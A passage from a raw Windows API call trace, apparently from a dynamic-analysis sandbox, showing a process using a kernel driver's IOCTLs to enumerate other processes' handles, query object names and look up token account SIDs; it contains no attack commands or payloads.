KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.514] PsReleaseProcessExitSynchronization () returned 0x2 [0106.514] ObfDereferenceObject (Object=0xfffffa80038568e0) returned 0x21 [0106.514] ObQueryNameString (in: Object=0xfffffa800286fc20, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.514] ObfDereferenceObject (Object=0xfffffa800286fc20) returned 0x1 [0106.514] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.514] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.514] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.514] PsLookupProcessByProcessId (in: ProcessId=0xdc8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.514] PsAcquireProcessExitSynchronization () returned 0x0 [0106.514] KeStackAttachProcess (in: PROCESS=0xfffffa80038568e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80038568e0, ApcState=0xfffff88004f095d0) [0106.514] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.514] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.514] PsReleaseProcessExitSynchronization () returned 0x2 [0106.514] ObfDereferenceObject (Object=0xfffffa80038568e0) returned 0x21 [0106.514] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.514] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4c [0106.514] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.515] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.515] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0106.515] PsLookupProcessByProcessId (in: ProcessId=0xdc8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.515] PsAcquireProcessExitSynchronization () returned 0x0 [0106.515] KeStackAttachProcess (in: PROCESS=0xfffffa80038568e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80038568e0, ApcState=0xfffff88004f095d0) [0106.515] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003701b00, HandleInformation=0x0) returned 0x0 [0106.515] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.515] PsReleaseProcessExitSynchronization () returned 0x2 [0106.515] ObfDereferenceObject (Object=0xfffffa80038568e0) returned 0x21 [0106.515] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.515] ObfDereferenceObject (Object=0xfffffa8003701b00) returned 0x1 [0106.515] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.515] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.515] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.515] PsLookupProcessByProcessId (in: ProcessId=0xdc8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.515] PsAcquireProcessExitSynchronization () returned 0x0 [0106.515] KeStackAttachProcess (in: PROCESS=0xfffffa80038568e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80038568e0, ApcState=0xfffff88004f095d0) [0106.515] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a003109ef0, HandleInformation=0x0) returned 0x0 [0106.515] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.515] PsReleaseProcessExitSynchronization () returned 0x2 [0106.515] ObfDereferenceObject (Object=0xfffffa80038568e0) returned 0x21 [0106.515] ObQueryNameString (in: Object=0xfffff8a003109ef0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.515] ObfDereferenceObject (Object=0xfffff8a003109ef0) returned 0x1 [0106.515] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.515] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.515] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0106.515] PsLookupProcessByProcessId (in: ProcessId=0xdc8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.515] PsAcquireProcessExitSynchronization () returned 0x0 [0106.515] KeStackAttachProcess (in: PROCESS=0xfffffa80038568e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80038568e0, ApcState=0xfffff88004f095d0) [0106.515] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800371b650, HandleInformation=0x0) returned 0x0 [0106.516] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.516] PsReleaseProcessExitSynchronization () returned 0x2 [0106.516] ObfDereferenceObject (Object=0xfffffa80038568e0) returned 0x21 [0106.516] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.516] ObfDereferenceObject (Object=0xfffffa800371b650) returned 0x1 [0106.516] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.516] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.516] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.516] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0106.516] PsLookupProcessByProcessId (in: ProcessId=0xdc8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.516] PsAcquireProcessExitSynchronization () returned 0x0 [0106.516] KeStackAttachProcess (in: PROCESS=0xfffffa80038568e0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80038568e0, ApcState=0xfffff88004f095d0) [0106.516] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0106.516] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.516] PsReleaseProcessExitSynchronization () returned 0x2 [0106.516] ObfDereferenceObject (Object=0xfffffa80038568e0) returned 0x21 [0106.516] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.516] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x9 [0106.516] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.516] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.516] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xe0c) returned 0xc0 [0106.516] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.516] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800391c060, HandleInformation=0x0) returned 0x0 [0106.516] ObOpenObjectByPointer (in: Object=0xfffffa800391c060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff8000053c) returned 0x0 [0106.516] ObfDereferenceObject (Object=0xfffffa800391c060) returned 0x10 [0106.516] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000053c, DesiredAccess=0x8, TokenHandle=0xfffffa8002f00240 | out: TokenHandle=0xfffffa8002f00240*=0xc8) returned 0x0 [0106.516] ZwClose (Handle=0xffffffff8000053c) returned 0x0 [0106.516] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.516] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.516] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.518] CloseHandle (hObject=0xc8) returned 1 [0106.518] CloseHandle (hObject=0xc0) returned 1 [0106.518] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.518] PsLookupProcessByProcessId (in: ProcessId=0xe0c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.518] PsAcquireProcessExitSynchronization () returned 0x0 [0106.518] KeStackAttachProcess (in: PROCESS=0xfffffa800391c060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800391c060, ApcState=0xfffff88004f095d0) [0106.519] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003114670, HandleInformation=0x0) returned 0x0 [0106.519] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.519] PsReleaseProcessExitSynchronization () returned 0x2 [0106.519] ObfDereferenceObject (Object=0xfffffa800391c060) returned 0xe [0106.519] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.519] ObfDereferenceObject (Object=0xfffffa8003114670) returned 0x1 [0106.519] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.519] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.519] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0106.519] PsLookupProcessByProcessId (in: ProcessId=0xe0c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.519] PsAcquireProcessExitSynchronization () returned 0x0 [0106.519] KeStackAttachProcess (in: PROCESS=0xfffffa800391c060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800391c060, ApcState=0xfffff88004f095d0) [0106.519] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003044d10, HandleInformation=0x0) returned 0x0 [0106.519] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.519] PsReleaseProcessExitSynchronization () returned 0x2 [0106.519] ObfDereferenceObject (Object=0xfffffa800391c060) returned 0xe [0106.519] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.519] ObfDereferenceObject (Object=0xfffffa8003044d10) returned 0x1 [0106.519] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.519] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.519] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0106.519] PsLookupProcessByProcessId (in: ProcessId=0xe0c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.519] PsAcquireProcessExitSynchronization () returned 0x0 [0106.519] KeStackAttachProcess (in: PROCESS=0xfffffa800391c060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800391c060, ApcState=0xfffff88004f095d0) [0106.519] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80025be8c0, HandleInformation=0x0) returned 0x0 [0106.519] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.519] PsReleaseProcessExitSynchronization () returned 0x2 [0106.520] ObfDereferenceObject (Object=0xfffffa800391c060) returned 0xe [0106.520] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.520] ObfDereferenceObject (Object=0xfffffa80025be8c0) returned 0x3 [0106.520] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.520] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.520] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xe20) returned 0xc0 [0106.520] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.520] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80039a2060, HandleInformation=0x0) returned 0x0 [0106.520] ObOpenObjectByPointer (in: Object=0xfffffa80039a2060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff8000053c) returned 0x0 [0106.520] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x1c [0106.520] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000053c, DesiredAccess=0x8, TokenHandle=0xfffffa8002f00240 | out: TokenHandle=0xfffffa8002f00240*=0xc8) returned 0x0 [0106.520] ZwClose (Handle=0xffffffff8000053c) returned 0x0 [0106.520] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.520] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.520] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.521] CloseHandle (hObject=0xc8) returned 1 [0106.521] CloseHandle (hObject=0xc0) returned 1 [0106.521] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.521] PsLookupProcessByProcessId (in: ProcessId=0xe20, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.521] PsAcquireProcessExitSynchronization () returned 0x0 [0106.521] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff88004f095d0) [0106.522] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002004d00, HandleInformation=0x0) returned 0x0 [0106.522] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.522] PsReleaseProcessExitSynchronization () returned 0x2 [0106.522] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x1a [0106.522] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.522] ObfDereferenceObject (Object=0xfffffa8002004d00) returned 0x1 [0106.522] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.522] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.522] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.522] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0106.522] PsLookupProcessByProcessId (in: ProcessId=0xe20, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.522] PsAcquireProcessExitSynchronization () returned 0x0 [0106.522] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff88004f095d0) [0106.522] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002812200, HandleInformation=0x0) returned 0x0 [0106.522] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.522] PsReleaseProcessExitSynchronization () returned 0x2 [0106.522] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x1a [0106.522] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.522] ObfDereferenceObject (Object=0xfffffa8002812200) returned 0x1 [0106.522] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.522] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.522] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.522] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0106.522] PsLookupProcessByProcessId (in: ProcessId=0xe20, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.522] PsAcquireProcessExitSynchronization () returned 0x0 [0106.522] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff88004f095d0) [0106.522] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80039c5740, HandleInformation=0x0) returned 0x0 [0106.523] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.523] PsReleaseProcessExitSynchronization () returned 0x2 [0106.523] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x1a [0106.523] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.523] ObfDereferenceObject (Object=0xfffffa80039c5740) returned 0x1 [0106.523] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.523] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.523] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.523] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0106.523] PsLookupProcessByProcessId (in: ProcessId=0xe20, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.523] PsAcquireProcessExitSynchronization () returned 0x0 [0106.523] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff88004f095d0) [0106.523] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80025be8c0, HandleInformation=0x0) returned 0x0 [0106.523] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.523] PsReleaseProcessExitSynchronization () returned 0x2 [0106.523] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x1a [0106.523] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.523] ObfDereferenceObject (Object=0xfffffa80025be8c0) returned 0x3 [0106.523] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.523] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.523] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xe28) returned 0x0 [0106.523] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.523] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1c0b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0106.523] PsLookupProcessByProcessId (in: ProcessId=0xe28, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0xc000000b [0106.523] IofCompleteRequest (Irp=0xfffffa8001fad930, 